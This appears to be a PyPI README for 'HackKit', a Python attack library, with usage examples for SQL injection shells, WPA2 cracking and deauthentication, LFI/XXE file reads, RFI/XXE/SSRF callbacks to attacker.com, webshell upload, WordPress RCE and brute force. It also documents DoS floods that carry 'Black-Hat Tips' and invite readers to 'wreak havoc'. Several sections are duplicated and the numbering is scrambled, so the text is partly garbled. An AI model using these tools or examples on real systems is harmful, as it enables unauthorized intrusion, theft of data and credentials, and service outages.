WiFi, CSRF, LFI/RFI, SSTI, XXE, SSRF, file uploads, directory brute‑force, auth bypass, header analysis, WordPress exploitation, and more. Missing any method is unacceptable — every function below is exhaustively documented with descriptions, parameters, return values, example usage, and a master example for each class demonstrating all capabilities
Project description
HackKit (continued)
An amazing python library that includes a huge number of classes and components for implementing cyber attacks and penetration testing, for example, classes for Wi-Fi, CSRF, LFI/RFI, SSTI, XXE, SSRF, file uploads, directory brute-force, auth bypass, header analysis, WordPress exploitation, WINDOWS, NETWORK, DOS, BluetoothHunter, Decode, RFIDWizard and more.
Full Code by Mohammad Taha Gorji
GitHub: mr‑r0ot
🔧 Installation
# (Recommended) Install via PyPI:
pip install HackKit
Or from source:
git clone https://github.com/mr-r0ot/HackKit.git cd HackKit python setup.py install
System Prerequisites:
External tools: sqlmap, nmap, git, curl, aircrack-ng suite (Linux via apt)
Python packages: requests, beautifulsoup4, tqdm, nmap3, bleak, scapy, etc.
📝 Quickstart
#pip install HackKit
from HackKit import *
📚 Module Reference
Below each class includes: Platform support, Dependencies, Methods table, detailed Parameters, Return values, Raises, and a comprehensive usage example covering all methods.
1. SQLI
Platforms: Linux, Windows
Dependencies: sqlmap CLI (installed via apt on Linux or GitHub ZIP on Windows)
Methods
| Method | Signature | Description |
|---|---|---|
__init__() |
def __init__(self) -> None |
Initialize; detects platform.system(), calls automatic_dependency_checking(). |
automatic_dependency_checking() |
def automatic_dependency_checking(self) -> None |
Installs or downloads sqlmap. On Linux via apt; on Windows downloads ZIP, extracts, installs requirements.txt. |
execute_sqlmap(options: List[str]) |
def execute_sqlmap(self, options: List[str]) -> None |
Runs sqlmap with provided options list. Raises CalledProcessError on failure. |
banner() |
def banner(self) -> None |
Shows sqlmap --version. |
scan_url(url: str, level: int =1, risk:int=1) |
def scan_url(self, url: str, level: int=1, risk: int=1) -> None |
Performs a basic scan. |
enumerate_databases(url: str) |
def enumerate_databases(self, url: str) -> None |
Lists databases. |
enumerate_tables(url: str, db: str) |
def enumerate_tables(self, url: str, db: str) -> None |
Lists tables in specified database. |
dump_table(url: str, db: str, table: str, columns: Optional[List[str]]=None) |
... -> None | Dumps full table or only given columns (comma-separated). |
os_shell(url: str) |
def os_shell(self, url: str) -> None |
Drops an OS-level shell. |
sql_shell(url: str) |
def sql_shell(self, url: str) -> None |
Opens interactive SQL shell. |
Example: SQLI Master Example
from HackKit import SQLI
# Initialize
sqli = SQLI()
# Show banner
sqli.banner()
# Scan preparation
target = "http://example.com/vuln.php?id=1"
# 1) Basic scan
sqli.scan_url(target, level=2, risk=3)
# 2) List DBs
sqli.enumerate_databases(target)
# Assume 'users_db'
# 3) List tables
sqli.enumerate_tables(target, db="users_db")
# Assume 'users'
# 4) Dump only id and email
sqli.dump_table(target, db="users_db", table="users", columns=["id","email"])
# 5) Drop OS shell
# sqli.os_shell(target)
# 6) Drop SQL shell
# sqli.sql_shell(target)
2. XSS
Platforms: Linux, Windows
Dependencies: git, Python requirements.txt from XSStrike repo
Methods
| Method | Signature | Description |
|---|---|---|
__init__() |
def __init__(self) -> None |
Detects platform, calls automatic_dependency_checking(). |
automatic_dependency_checking() |
def automatic_dependency_checking(self) -> None |
Clones or pulls XSStrike repo; installs Python deps via pip. |
execute_xsstrike(options: List[str]) |
def execute_xsstrike(self, options: List[str]) -> None |
Runs xsstrike.py with given options. |
banner() |
def banner(self) -> None |
Shows help (usage). |
scan_url(url: str, blind: bool=False, crawl: bool=False, threads: int=5, timeout: int=10) |
... -> None | Scans one URL for reflected/stored/DOM XSS with optional blind/crawl. |
crawl_site(url: str, depth: int=2) |
... |
Crawls and extracts parameters to feed into scan_url. |
fuzz_parameters(url: str, param: Optional[str]=None) |
... -> None | Fuzzes given parameter or all. |
generate_report(url: str, output: str="xsstrike_report.html") |
... -> None | Runs scan and writes HTML report at given path. |
Example: XSS Master Example
from HackKit import XSS
xss = XSS()
xss.banner()
site = "http://example.com/search?q=TEST"
# Full blind crawl
xss.scan_url(site, blind=True, crawl=True, threads=8, timeout=15)
# Crawl separately, then fuzz specific param
xss.crawl_site("http://example.com", depth=3)
xss.fuzz_parameters(site, param="q")
# Generate HTML report
xss.generate_report(site, output="example_xss_report.html")
3. NETWORK
Platforms: Linux (nmap CLI), Windows (python3-nmap3)
Dependencies: nmap or python3-nmap3
Methods
| Method | Signature | Description |
|---|---|---|
__init__() |
def __init__(self) -> None |
Detects platform and installs dependencies. |
automatic_dependency_checking() |
def automatic_dependency_checking(self) -> None |
Ensures nmap or nmap3 installed. |
ping_scan(targets: List[str], timeout: int=5) -> Dict[str, any] |
Ping scan hosts | |
port_scan(target: str, ports: str="1-1024", args: Optional[List[str]]=None) -> Dict[str, any] |
Scan ports | |
version_detection(target: str) -> Dict[str, any] |
Service/version detection | |
os_detection(target: str) -> Dict[str, any] |
OS fingerprinting | |
script_scan(target: str, scripts: List[str]) -> Dict[str, any] |
NSE script execution | |
full_scan(target: str) -> Dict[str, any] |
All-in-one aggressive scan |
Example: NETWORK Master Example
from HackKit import NETWORK
net = NETWORK()
# Ping scan
res1 = net.ping_scan(["192.168.1.1","192.168.1.2"], timeout=3)
print(res1)
# Port scan common ports
res2 = net.port_scan("192.168.1.1", ports="22,80,443")
print(res2)
# Version detect
res3 = net.version_detection("192.168.1.1")
# OS detect
res4 = net.os_detection("192.168.1.1")
# NSE script
res5 = net.script_scan("192.168.1.1", scripts=["http-vuln-cve2017-5638"])
# Full scan
res6 = net.full_scan("192.168.1.1")
4. WIFI
Platforms: Linux only
Dependencies: aircrack-ng suite (iwconfig, airmon-ng, etc.)
Methods
| Method | Signature | Description |
|---|---|---|
__init__(interface: Optional[str]=None) |
Set interface; installs missing tools | |
automatic_dependency_checking() |
Checks & installs all required tools | |
detect_interfaces() -> List[str] |
Returns list of wireless interfaces | |
enable_monitor_mode(interface: str) -> None |
Enable monitor mode | |
disable_monitor_mode(interface: Optional[str]=None) -> None |
Disable monitor mode | |
scan_access_points(interface: Optional[str]=None, timeout: int=15) -> List[Dict[str,str]] |
Returns BSSID, CHANNEL, ESSID | |
deauth_attack(bssid: str, client_mac: Optional[str]=None, count: int=10) -> None |
Send deauth frames | |
capture_handshake(bssid: str, output_file: str, timeout: int=60) -> None |
Capture WPA2 handshake | |
crack_wpa2(handshake_file: str, wordlist: str, output_file: str) -> None |
Crack handshake | |
enumerate_clients(bssid: str, interface: Optional[str]=None) -> List[str] |
List connected clients | |
identify_device_technology(mac: str) -> Optional[str] |
OUI vendor lookup | |
wps_pin_attack(bssid: str, interface: Optional[str]=None, timeout: int=120) -> None |
WPS PIN brute | |
wps_pixie_dust(bssid: str, interface: Optional[str]=None, output_file: Optional[str]=None) -> None |
Pixie dust attack | |
packet_injection_test(interface: Optional[str]=None) -> bool |
Test injection capability |
Example: WIFI Master Example
from HackKit import WIFI
wifi = WIFI(interface="wlan0")
# Detect
ifaces = wifi.detect_interfaces()
print(ifaces)
iface = ifaces[0]
# Enable monitor
wifi.enable_monitor_mode(iface)
# Scan APs
aps = wifi.scan_access_points(timeout=10)
print(aps)
bssid = aps[0]['BSSID']
# Deauth one client
wifi.deauth_attack(bssid=bssid, count=5)
# Capture handshake
wifi.capture_handshake(bssid, output_file="hand.cap", timeout=60)
# Crack handshake
wifi.crack_wpa2("hand.cap","rockyou.txt","cracked.txt")
# Enumerate clients
clients = wifi.enumerate_clients(bssid)
print(clients)
# Packet injection test
print(wifi.packet_injection_test())
5. CSRF
Platforms: Cross-platform
Dependencies: requests, beautifulsoup4
Methods
| Method | Signature | Description |
|---|---|---|
__init__() |
def __init__(self) -> None |
Imports and ensures requests, BeautifulSoup. |
automatic_dependency_checking() |
Installs Python packages via pip if missing | |
detect_csrf_tokens(url: str) -> List[Dict[str,str]] |
Extract hidden form inputs matching /csrf | token/i |
test_csrf_get(url: str, token_param: str) -> bool |
Return True if GET without valid token is blocked | |
test_csrf_post(url: str, form_data: Dict[str,str], token_param: str) -> bool |
POST analog | |
generate_exploit_html(target_url: str, params: Dict[str,str]) -> str |
Build auto-submitting HTML form | |
suggest_protection() -> str |
Returns best-practices string |
Example: CSRF Master Example
from HackKit import CSRF
csrf = CSRF()
url = "http://example.com/transfer"
# Detect tokens
tokens = csrf.detect_csrf_tokens(url)
print(tokens)
# Test GET
print(csrf.test_csrf_get(url, token_param=tokens[0]['name']))
# Test POST
print(csrf.test_csrf_post(url, form_data={"to":"victim","amount":"100"}, token_param=tokens[0]['name']))
# Generate exploit page
html = csrf.generate_exploit_html(url, params={"to":"victim","amount":"100", tokens[0]['name']:"INVALID"})
print(html)
# Suggest
print(csrf.suggest_protection())
6. SQLI
Platforms: Linux, Windows
Dependencies: sqlmap CLI (installed via apt on Linux or GitHub ZIP on Windows)
Methods
| Method | Signature | Description |
|---|---|---|
__init__() |
def __init__(self) -> None |
Initialize; detects platform.system(), calls automatic_dependency_checking(). |
automatic_dependency_checking() |
def automatic_dependency_checking(self) -> None |
Installs or downloads sqlmap. On Linux via apt; on Windows downloads ZIP, extracts, installs requirements.txt. |
execute_sqlmap(options: List[str]) |
def execute_sqlmap(self, options: List[str]) -> None |
Runs sqlmap with provided options list. Raises CalledProcessError on failure. |
banner() |
def banner(self) -> None |
Shows sqlmap --version. |
scan_url(url: str, level: int =1, risk:int=1) |
def scan_url(self, url: str, level: int=1, risk: int=1) -> None |
Performs a basic scan. |
enumerate_databases(url: str) |
def enumerate_databases(self, url: str) -> None |
Lists databases. |
enumerate_tables(url: str, db: str) |
def enumerate_tables(self, url: str, db: str) -> None |
Lists tables in specified database. |
dump_table(url: str, db: str, table: str, columns: Optional[List[str]]=None) |
... -> None | Dumps full table or only given columns (comma-separated). |
os_shell(url: str) |
def os_shell(self, url: str) -> None |
Drops an OS-level shell. |
sql_shell(url: str) |
def sql_shell(self, url: str) -> None |
Opens interactive SQL shell. |
Example: SQLI Master Example
from HackKit import SQLI
# Initialize
sqli = SQLI()
# Show banner
sqli.banner()
# Scan preparation
target = "http://example.com/vuln.php?id=1"
# 1) Basic scan
sqli.scan_url(target, level=2, risk=3)
# 2) List DBs
sqli.enumerate_databases(target)
# Assume 'users_db'
# 3) List tables
sqli.enumerate_tables(target, db="users_db")
# Assume 'users'
# 4) Dump only id and email
sqli.dump_table(target, db="users_db", table="users", columns=["id","email"])
# 5) Drop OS shell
# sqli.os_shell(target)
# 6) Drop SQL shell
# sqli.sql_shell(target)
7. XSS
Platforms: Linux, Windows
Dependencies: git, Python requirements.txt from XSStrike repo
Methods
| Method | Signature | Description |
|---|---|---|
__init__() |
def __init__(self) -> None |
Detects platform, calls automatic_dependency_checking(). |
automatic_dependency_checking() |
def automatic_dependency_checking(self) -> None |
Clones or pulls XSStrike repo; installs Python deps via pip. |
execute_xsstrike(options: List[str]) |
def execute_xsstrike(self, options: List[str]) -> None |
Runs xsstrike.py with given options. |
banner() |
def banner(self) -> None |
Shows help (usage). |
scan_url(url: str, blind: bool=False, crawl: bool=False, threads: int=5, timeout: int=10) |
... -> None | Scans one URL for reflected/stored/DOM XSS with optional blind/crawl. |
crawl_site(url: str, depth: int=2) |
... |
Crawls and extracts parameters to feed into scan_url. |
fuzz_parameters(url: str, param: Optional[str]=None) |
... -> None | Fuzzes given parameter or all. |
generate_report(url: str, output: str="xsstrike_report.html") |
... -> None | Runs scan and writes HTML report at given path. |
Example: XSS Master Example
from HackKit import XSS
xss = XSS()
xss.banner()
site = "http://example.com/search?q=TEST"
# Full blind crawl
xss.scan_url(site, blind=True, crawl=True, threads=8, timeout=15)
# Crawl separately, then fuzz specific param
xss.crawl_site("http://example.com", depth=3)
xss.fuzz_parameters(site, param="q")
# Generate HTML report
xss.generate_report(site, output="example_xss_report.html")
8. NETWORK
Platforms: Linux (nmap CLI), Windows (python3-nmap3)
Dependencies: nmap or python3-nmap3
Methods
| Method | Signature | Description |
|---|---|---|
__init__() |
def __init__(self) -> None |
Detects platform and installs dependencies. |
automatic_dependency_checking() |
def automatic_dependency_checking(self) -> None |
Ensures nmap or nmap3 installed. |
ping_scan(targets: List[str], timeout: int=5) -> Dict[str, any] |
Ping scan hosts | |
port_scan(target: str, ports: str="1-1024", args: Optional[List[str]]=None) -> Dict[str, any] |
Scan ports | |
version_detection(target: str) -> Dict[str, any] |
Service/version detection | |
os_detection(target: str) -> Dict[str, any] |
OS fingerprinting | |
script_scan(target: str, scripts: List[str]) -> Dict[str, any] |
NSE script execution | |
full_scan(target: str) -> Dict[str, any] |
All-in-one aggressive scan |
Example: NETWORK Master Example
from HackKit import NETWORK
net = NETWORK()
# Ping scan
res1 = net.ping_scan(["192.168.1.1","192.168.1.2"], timeout=3)
print(res1)
# Port scan common ports
res2 = net.port_scan("192.168.1.1", ports="22,80,443")
print(res2)
# Version detect
res3 = net.version_detection("192.168.1.1")
# OS detect
res4 = net.os_detection("192.168.1.1")
# NSE script
res5 = net.script_scan("192.168.1.1", scripts=["http-vuln-cve2017-5638"])
# Full scan
res6 = net.full_scan("192.168.1.1")
9. WIFI
Platforms: Linux only
Dependencies: aircrack-ng suite (iwconfig, airmon-ng, etc.)
Methods
| Method | Signature | Description |
|---|---|---|
__init__(interface: Optional[str]=None) |
Set interface; installs missing tools | |
automatic_dependency_checking() |
Checks & installs all required tools | |
detect_interfaces() -> List[str] |
Returns list of wireless interfaces | |
enable_monitor_mode(interface: str) -> None |
Enable monitor mode | |
disable_monitor_mode(interface: Optional[str]=None) -> None |
Disable monitor mode | |
scan_access_points(interface: Optional[str]=None, timeout: int=15) -> List[Dict[str,str]] |
Returns BSSID, CHANNEL, ESSID | |
deauth_attack(bssid: str, client_mac: Optional[str]=None, count: int=10) -> None |
Send deauth frames | |
capture_handshake(bssid: str, output_file: str, timeout: int=60) -> None |
Capture WPA2 handshake | |
crack_wpa2(handshake_file: str, wordlist: str, output_file: str) -> None |
Crack handshake | |
enumerate_clients(bssid: str, interface: Optional[str]=None) -> List[str] |
List connected clients | |
identify_device_technology(mac: str) -> Optional[str] |
OUI vendor lookup | |
wps_pin_attack(bssid: str, interface: Optional[str]=None, timeout: int=120) -> None |
WPS PIN brute | |
wps_pixie_dust(bssid: str, interface: Optional[str]=None, output_file: Optional[str]=None) -> None |
Pixie dust attack | |
packet_injection_test(interface: Optional[str]=None) -> bool |
Test injection capability |
Example: WIFI Master Example
from HackKit import WIFI
wifi = WIFI(interface="wlan0")
# Detect
ifaces = wifi.detect_interfaces()
print(ifaces)
iface = ifaces[0]
# Enable monitor
wifi.enable_monitor_mode(iface)
# Scan APs
aps = wifi.scan_access_points(timeout=10)
print(aps)
bssid = aps[0]['BSSID']
# Deauth one client
wifi.deauth_attack(bssid=bssid, count=5)
# Capture handshake
wifi.capture_handshake(bssid, output_file="hand.cap", timeout=60)
# Crack handshake
wifi.crack_wpa2("hand.cap","rockyou.txt","cracked.txt")
# Enumerate clients
clients = wifi.enumerate_clients(bssid)
print(clients)
# Packet injection test
print(wifi.packet_injection_test())
10. CSRF
Platforms: Cross-platform
Dependencies: requests, beautifulsoup4
Methods
| Method | Signature | Description |
|---|---|---|
__init__() |
def __init__(self) -> None |
Imports and ensures requests, BeautifulSoup. |
automatic_dependency_checking() |
Installs Python packages via pip if missing | |
detect_csrf_tokens(url: str) -> List[Dict[str,str]] |
Extract hidden form inputs matching /csrf | token/i |
test_csrf_get(url: str, token_param: str) -> bool |
Return True if GET without valid token is blocked | |
test_csrf_post(url: str, form_data: Dict[str,str], token_param: str) -> bool |
POST analog | |
generate_exploit_html(target_url: str, params: Dict[str,str]) -> str |
Build auto-submitting HTML form | |
suggest_protection() -> str |
Returns best-practices string |
Example: CSRF Master Example
from HackKit import CSRF
csrf = CSRF()
url = "http://example.com/transfer"
# Detect tokens
tokens = csrf.detect_csrf_tokens(url)
print(tokens)
# Test GET
print(csrf.test_csrf_get(url, token_param=tokens[0]['name']))
# Test POST
print(csrf.test_csrf_post(url, form_data={"to":"victim","amount":"100"}, token_param=tokens[0]['name']))
# Generate exploit page
html = csrf.generate_exploit_html(url, params={"to":"victim","amount":"100", tokens[0]['name']:"INVALID"})
print(html)
# Suggest
print(csrf.suggest_protection())
11. LFI_RFI
Platforms: Cross-platform
Dependencies: requests
Methods
| Method | Signature | Description |
|---|---|---|
__init__() |
def __init__(self) -> None |
Imports and ensures requests available. |
automatic_dependency_checking() |
Installs requests if missing. |
|
detect_lfi(url: str, param: str, payloads: Optional[List[str]]=None) -> List[str] |
Inject LFI payloads, return successful payloads. | |
read_file(url: str, param: str, filepath: str) -> Optional[str] |
Read remote file via LFI, return content or None. | |
test_rfi(url: str, param: str, remote_url: str) -> bool |
Test RFI by including external URL, return True if remote content appears. |
Example: LFI_RFI Master Example
from HackKit import LFI_RFI
lfi = LFI_RFI()
base = "http://vuln/page.php?file="
# 1) Detect LFI
payloads = lfi.detect_lfi(base + "user=1", param="file")
print("Successful payloads:", payloads)
# 2) Read /etc/passwd
content = lfi.read_file(base, param="file", filepath="../../../../etc/passwd")
print(content)
# 3) Test RFI (OOB)
is_rfi = lfi.test_rfi(base, param="file", remote_url="http://attacker.com/payload")
print("RFI possible?", is_rfi)
12. SSTI
Platforms: Cross-platform
Dependencies: requests
Methods
| Method | Signature | Description |
|---|---|---|
__init__() |
def __init__(self) -> None |
Ensures requests available. |
automatic_dependency_checking() |
Installs requests if missing. |
|
detect_ssti(url: str, param: str, payloads: Optional[List[str]]=None) -> Dict[str,bool] |
Test SSTI payloads, return dict of payload->bool. | |
exploit_ssti(url: str, param: str, template: str) -> Optional[str] |
Send custom template, return response text on 200. | |
get_interactive_shell(url: str, param: str) -> None |
Print guidance for interactive SSTI shell usage. |
Example: SSTI Master Example
from HackKit import SSTI
ssti = SSTI()
url = "http://vuln/render"
# 1) Detect SSTI
res = ssti.detect_ssti(url, param="template")
print(res)
# 2) Exploit with arithmetic
resp = ssti.exploit_ssti(url, param="template", template="{{7*7}}")
print(resp)
# 3) Interactive shell hint
ssti.get_interactive_shell(url, param="template")
13. XXE
Platforms: Cross-platform
Dependencies: requests
Methods
| Method | Signature | Description |
|---|---|---|
__init__() |
def __init__(self) -> None |
Ensures requests available. |
automatic_dependency_checking() |
Installs requests if missing. |
|
test_xxe(endpoint: str, xml_payload: str, header: str='application/xml') -> Optional[str] |
Send XML payload, return response text on 200. | |
generate_xxe_payload(filepath: str, identifier: str='xxe') -> str |
Build simple XXE payload reading local file. | |
out_of_band_xxe(endpoint: str, oob_url: str) -> str |
Generate OOB payload and send, return response. |
Example: XXE Master Example
from HackKit import XXE
xxe = XXE()
url = "http://vuln/xml"
# 1) Build payload
payload = xxe.generate_xxe_payload(filepath="/etc/passwd")
# 2) Send payload
resp = xxe.test_xxe(url, payload)
print(resp)
# 3) OOB payload
oob = xxe.out_of_band_xxe(url, oob_url="http://attacker.com/notify")
print(oob)
14. SSRF
Platforms: Cross-platform
Dependencies: requests, tqdm, git
Methods
| Method | Signature | Description |
|---|---|---|
__init__() |
def __init__(self) -> None |
Clones/pulls SSRFmap repo; installs Python deps. |
automatic_dependency_checking() |
Ensures git, clones or updates repo, installs requirements.txt. |
|
execute(reqfile: str, param: str, modules: List[str], handler: Optional[int]=None, lhost: Optional[str]=None, lport: Optional[int]=None, uagent: Optional[str]=None, ssl: bool=False, proxy: Optional[str]=None, level: int=1, extra_args: Optional[List[str]]=None) -> None |
Run ssrfmap.py with given options. | |
module_readfiles(reqfile: str, param: str, rfiles: Optional[str]=None) -> None |
Convenience: file read module. | |
module_portscan(reqfile: str, param: str) -> None |
Convenience: portscan module. | |
module_redis(reqfile: str, param: str, lhost: str, lport: int, handler: int) -> None |
Convenience: Redis exploit module. | |
module_custom(reqfile: str, param: str, data: str, target_port: int) -> None |
Convenience: send raw data to port. |
Example: SSRF Master Example
from HackKit import SSRF
ssrf = SSRF()
reqfile = "req.txt" # Burp-formatted request file
param = "url"
# 1) Basic readfiles
ssrf.module_readfiles(reqfile, param, rfiles="/etc/passwd")
# 2) Port scan internal service
ssrf.module_portscan(reqfile, param)
# 3) Redis connect-back
ssrf.module_redis(reqfile, param, lhost="attacker.com", lport=4444, handler=4444)
# 4) Custom data send
ssrf.module_custom(reqfile, param, data="HELLO", target_port=1234)
29 FileUpload
Platforms: Cross-platform
Dependencies: requests, system curl on Linux
Methods
| Method | Signature | Description |
|---|---|---|
__init__(upload_url: str, param: str='file') |
def __init__(self, upload_url: str, param: str='file') -> None |
Sets target URL & param; installs deps. |
automatic_dependency_checking() |
Installs requests; installs curl on Linux if missing. |
|
detect_endpoint() -> bool |
def detect_endpoint(self) -> bool |
Checks OPTIONS status code (200/204). |
bypass_extension_check(file_path: str, trick: str='file.php;.jpg') -> Optional[str] |
Attempt rename trick; return server response if successful. | |
upload_webshell(shell_path: str) -> Optional[str] |
Upload PHP webshell; return URL if found. |
Example: FileUpload Master Example
from HackKit import FileUpload
fu = FileUpload(upload_url="http://site/upload")
# 1) Detect endpoint
print(fu.detect_endpoint())
# 2) Bypass ext
resp = fu.bypass_extension_check("shell.php", trick=";.php.jpg")
print(resp)
# 3) Upload webshell
url = fu.upload_webshell("shell.php")
print("Webshell URL:", url)
26. DirBruteEnum
Platforms: Cross-platform
Dependencies: requests, system ffuf on Linux
Methods
| Method | Signature | Description |
|---|---|---|
__init__(base_url: str, wordlist: str='/usr/share/wordlists/common.txt') |
def __init__(self, base_url: str, wordlist: str) -> None |
Sets base URL & wordlist; installs deps. |
automatic_dependency_checking() |
Installs requests, ensures ffuf on Linux. |
|
brute(threads: int=50, extensions: List[str]=None) -> List[str] |
Run ffuf, return discovered paths. | |
recursive_enum(depth: int=2) -> List[str] |
Recursively brute up to depth, return list of directories. |
Example: DirBruteEnum Master Example
from HackKit import DirBruteEnum
brute = DirBruteEnum(base_url="http://site/")
# 1) Single-level brute
dirs = brute.brute(threads=20, extensions=['.php','.html'])
print(dirs)
# 2) Recursive enum
all_dirs = brute.recursive_enum(depth=2)
print(all_dirs)
22. AuthBypass
Platforms: Cross-platform
Dependencies: requests
Methods
| Method | Signature | Description |
|---|---|---|
__init__(login_url: str, session=None) |
def __init__(self, login_url: str, session=None) -> None |
Sets login URL; uses provided or new Session; installs deps. |
automatic_dependency_checking() |
Installs requests if missing. |
|
test_default_credentials(creds: List[Dict[str,str]]) -> Dict[str,bool] |
Test list of user/pass, return dict user:pass->bool. | |
force_logout(logout_url: str) -> bool |
Trigger logout, return True on 200. | |
test_privilege_escalation(normal_url: str, admin_url: str) -> bool |
Check if normal user can access admin page. |
Example: AuthBypass Master Example
from HackKit import AuthBypass
ab = AuthBypass(login_url="http://site/login")
creds = [{'user':'admin','pass':'1234'},{'user':'root','pass':'toor'}]
# 1) Test defaults
print(ab.test_default_credentials(creds))
# 2) Force logout
print(ab.force_logout("http://site/logout"))
# 3) Privilege escalation test
print(ab.test_privilege_escalation("http://site/profile","http://site/admin"))
27. Headers
Platforms: Cross-platform
Dependencies: requests
Methods
| Method | Signature | Description |
|---|---|---|
__init__(url: str) |
def __init__(self, url: str) -> None |
Sets target URL; installs deps. |
automatic_dependency_checking() |
Installs requests if missing. |
|
scan_security_headers() -> Dict[str,Optional[str]] |
Return dict header->value or None for standard security headers. | |
suggest_hardening(headers: Dict[str,Optional[str]]) -> Dict[str,str] |
Return advice for missing headers. |
Example: Headers Master Example
from HackKit import Headers
h = Headers(url="http://site")
# 1) Scan
hdrs = h.scan_security_headers()
print(hdrs)
# 2) Suggest hardening
print(h.suggest_hardening(hdrs))
28. WordPress
Platforms: Linux (wpscan), Windows (HTTP checks)
Dependencies: requests, wpscan on Linux
Methods
| Method | Signature | Description |
|---|---|---|
__init__(target: str) |
def __init__(self, target: str) -> None |
Sets target; ensures requests, wpscan if Linux. |
_ensure_deps() |
Installs requests; installs wpscan on Linux. |
|
scan() -> Dict[str,Any] |
Run WPScan JSON or HTTP checks; return findings dict. | |
exploit_pingback(src: str, tgt: str) -> str |
Pingback ping exploit; return response. | |
exploit_exec(cmd: str) -> str |
XMLRPC system.exec; return output. | |
exploit_bruteforce(user_list: List[str], pass_list: List[str]) -> Dict[str,str] |
Try creds; return successful dict. | |
exploit_cron_dos(threads: int=100, duration: int=30) -> None |
Flood wp-cron for DoS. | |
exploit_download_backup(remote_path: str, local_filename: str) -> bool |
Download backup file. | |
exploit_plugin_readme(plugin: str) -> Optional[str] |
Read plugin readme.txt. | |
exploit_theme_stylesheet(theme: str) -> Optional[str] |
Read theme style.css. | |
exploit_revslider_rce(upload_file: str) -> str |
Revslider upload RCE. | |
exploit_timthumb_rce(image_url: str) -> str |
Timthumb src RCE. | |
exploit_file_editor(file_path: str, content: str) -> str |
Edit plugin via plugin-editor. | |
exploit_json_insert(endpoint: str, payload: Dict[str,Any]) -> str |
Insert via REST. | |
exploit_csv_export(endpoint: str) -> str |
CSV export endpoint. | |
exploit_wp_config_bak() -> Optional[str] |
Download wp-config.php.bak. | |
exploit_sitemap_enum() -> List[str] |
Parse sitemap.xml URLs. | |
exploit_user_email_leak(max_id: int=10) -> Dict[int,str] |
Enumerate user emails. | |
exploit_heartbeat_dos(times: int=100) -> None |
Flood heartbeat. | |
exploit_sqli_rest(resource: str, payload: str) -> str |
SQLi via REST filtering. | |
extract_real_ip() -> Optional[str] |
Return X-Forwarded-For or X-Real-IP if present. |
Example: WordPress Master Example
from HackKit import WordPress
wp = WordPress(target="http://mysite")
# 1) Scan
findings = wp.scan()
print(findings)
# 2) Pingback exploit
print(wp.exploit_pingback(src="http://evil","tgt="http://mysite"))
# 3) Exec command
print(wp.exploit_exec("id"))
# 4) Bruteforce
d = wp.exploit_bruteforce(["admin"],["1234"])
print(d)
# 5) Cron DoS
wp.exploit_cron_dos(threads=50, duration=10)
# 6) Download backup
print(wp.exploit_download_backup("wp-content/backup.zip","backup.zip"))
# 7) Plugin readme
print(wp.exploit_plugin_readme("revslider"))
# 8) Theme stylesheet
print(wp.exploit_theme_stylesheet("twentytwenty"))
# And so on for other methods...
Table of Contents
29. DOS
Cross‑Platform DoS/DDoS Toolkit, OSI‑Layer Organized. ✅
These are your heavy hitters for taking down networks, servers, and applications. Deploy responsibly… or wreak havoc.
29.1 Layer3 – Network Layer Attacks
Target the IP layer directly with ICMP & fragmentation.
- Cross‑Platform: ✅ Windows / Linux / macOS (requires raw-socket privileges on non-Windows).
icmp_flood(target: str, threads: int = 10, pps: int = 100, always: bool = True)
What it does:
Spams the victim with raw ICMP “ping” packets to saturate network bandwidth and CPU.
Parameters:
target:"192.168.1.50"or"victim.example.com".threads: Number of parallel flooders. Default: 10.pps: Packets per second per thread whenalways=False. Default: 100.always: IfTrue, floods non-stop; ifFalse, paces atpps.
Black‑Hat Tip: Vary packet sizes and interleave bursts to evade simple rate-limiters.
Example – Night Raid:
# Unleash relentless flood on the target:
DOS.Layer3.icmp_flood("victim.example.com", threads=20, always=True)
# Stealthy timed bursts (50 pps):
DOS.Layer3.icmp_flood("10.0.0.5", threads=5, pps=50, always=False)
teardrop(target: str, threads: int = 5, always: bool = True)
What it does: Sends overlapping IP fragments that crash or freeze older stacks (Teardrop).
Example – Vintage Exploit:
# Exploit legacy OS bug:
DOS.Layer3.teardrop("10.10.10.10", threads=3, always=False)
land(target: str, port: int = 80, threads: int = 5, always: bool = True)
What it does: Sends TCP SYN with identical source/dest, confusing the TCP stack.
Example – TCP Trickery:
# Simple Land attack:
DOS.Layer3.land("victim.server.local", port=8080)
ping_of_death(target: str, threads: int = 3, always: bool = True)
What it does: Floods oversized ICMP packets (>65KB) to overflow buffers. Rarely works on modern OS.
Example – Buffer Bloat:
DOS.Layer3.ping_of_death("8.8.8.8", threads=2, always=False)
29.2 Layer4 – Transport Layer Attacks
TCP/UDP floods to exhaust connection tables and bandwidth.
- Cross‑Platform: ✅ (Linux/macOS may require root for raw sockets)
syn_flood(target: str, port: int = 80, threads: int = 10, pps: int = 100, always: bool = True)
What it does: Opens TCP SYN handshakes without completing them, consuming half-open slots.
Example – SYN Storm:
# Massive SYN flood on SSH port:
DOS.Layer4.syn_flood("victim.example.com", port=22, threads=50, always=True)
# Controlled SYN flood:
DOS.Layer4.syn_flood("192.168.0.20", port=80, threads=10, pps=200, always=False)
ack_flood(target: str, port: int = 80, threads: int = 10, pps: int = 100, always: bool = True)
What it does: Placeholder invoking SYN flood. True ACK flood requires crafting raw ACK packets.
udp_flood(target: str, port: int = 53, threads: int = 10, pps: int = 200, always: bool = True)
What it does: Floods UDP port (default DNS) with random payloads.
Example – DNS UDP Blast:
DOS.Layer4.udp_flood("dns.victim.net", port=53, threads=20, pps=500)
udp_amplification(reflectors: List[str], threads: int = 5, pps: int = 50, always: bool = True)
What it does: Sends small DNS queries to open resolvers, triggers large responses back to victim.
Black‑Hat Tip: Use open resolvers near the victim’s network for maximum effect.
Example – Amplify:
reflectors = ["8.8.8.8", "1.1.1.1", "9.9.9.9"]
DOS.Layer4.udp_amplification(reflectors, threads=10, pps=100, always=False)
29.3 Layer7 – Application Layer Attacks
Attack HTTP services directly via GET/POST, Slowloris, HULK.
- Cross‑Platform: ✅
http_get_flood(url: str, threads: int = 50, duration: int = 30, headers: Optional[dict] = None, always: bool = True)
What it does: Sends massive GET requests, simulating thousands of clients.
Example – HTTP Blitz:
# 60-second assault:
DOS.Layer7.http_get_flood(
"http://web.victim.com/index.html",
threads=200,
duration=60,
always=False
)
http_post_flood(url: str, data: Optional[dict] = None, threads: int = 50, duration: int = 30, headers: Optional[dict] = None, always: bool = True)
What it does: Bombards the server with POST payloads, exhausting app logic.
Example – Brute Login Form:
DOS.Layer7.http_post_flood(
"http://victim.com/login",
data={"username":"admin","password":"wrong"},
threads=100,
duration=45,
headers={"User-Agent":"Mozilla/5.0"},
always=False
)
slowloris(host: str, port: int = 80, sockets: int = 200, interval: int = 15, always: bool = True)
